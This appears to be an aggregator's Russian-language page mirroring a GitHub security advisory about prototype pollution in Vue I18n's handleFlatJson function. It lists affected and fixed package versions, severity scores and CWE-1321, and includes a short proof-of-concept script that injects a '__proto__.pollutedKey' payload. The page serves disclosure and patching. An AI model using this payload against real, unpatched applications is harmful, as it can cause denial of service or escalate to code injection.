Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-p2ph-7g93-hw3m

Опубликовано: 07 мар. 2025
Источник: github
Github: Прошло ревью
CVSS4: 8.9

Описание

Vue I18n Allows Prototype Pollution in handleFlatJson

Vulnerability type: Prototype Pollution

Vulnerability Location(s):

# v9.1 node_modules/@intlify/message-resolver/index.js # v9.2 or later node_modules/@intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version ~$ npm install @intlify/message-resolver@9.1.10 // run the script mentioned below ~$ node poc.js //The expected output (if the code still vulnerable) is below. // Note that the output may slightly differs from function to another. Before Attack: {} After Attack: {"pollutedKey":123}
// poc.js (async () => { const lib = await import('@intlify/message-resolver'); var someObj = {} console.log("Before Attack: ", JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" }) } catch (e) { } console.log("After Attack: ", JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })();

Пакеты

Наименование

@intlify/message-resolver

npm
Затронутые версииВерсия исправления

>= 9.1.0, < 9.1.11

9.1.11

Наименование

@intlify/vue-i18n-core

npm
Затронутые версииВерсия исправления

>= 9.2.0, < 9.14.3

9.14.3

Наименование

petite-vue-i18n

npm
Затронутые версииВерсия исправления

>= 10.0.0, < 10.0.6

10.0.6

Наименование

vue-i18n

npm
Затронутые версииВерсия исправления

>= 9.1.0, < 9.14.3

9.14.3

Наименование

@intlify/core-base

npm
Затронутые версииВерсия исправления

>= 9.1.0, < 9.1.11

9.1.11

Наименование

@intlify/core

npm
Затронутые версииВерсия исправления

>= 9.1.0, < 9.1.11

9.1.11

Наименование

@intlify/vue-i18n-core

npm
Затронутые версииВерсия исправления

>= 10.0.0-alpha.1, < 10.0.6

11.1.2

Наименование

@intlify/vue-i18n-core

npm
Затронутые версииВерсия исправления

>= 11.0.0-beta.0, < 11.1.2

11.1.2

Наименование

petite-vue-i18n

npm
Затронутые версииВерсия исправления

>= 11.0.0-beta.0, < 11.1.2

11.1.2

Наименование

vue-i18n

npm
Затронутые версииВерсия исправления

>= 10.0.0-alpha.1, < 10.0.6

10.0.6

Наименование

vue-i18n

npm
Затронутые версииВерсия исправления

>= 11.0.0-beta.0, < 11.1.2

11.1.2

EPSS

Процентиль: 53%
0.00301
Низкий

8.9 High

CVSS4

Дефекты

CWE-1321

Связанные уязвимости

nvd
11 месяцев назад

Vue I18n is the internationalization plugin for Vue.js. @intlify/message-resolver and @intlify/vue-i18n-core are vulnerable to Prototype Pollution through the entry function: handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

EPSS

Процентиль: 53%
0.00301
Низкий

8.9 High

CVSS4

Дефекты

CWE-1321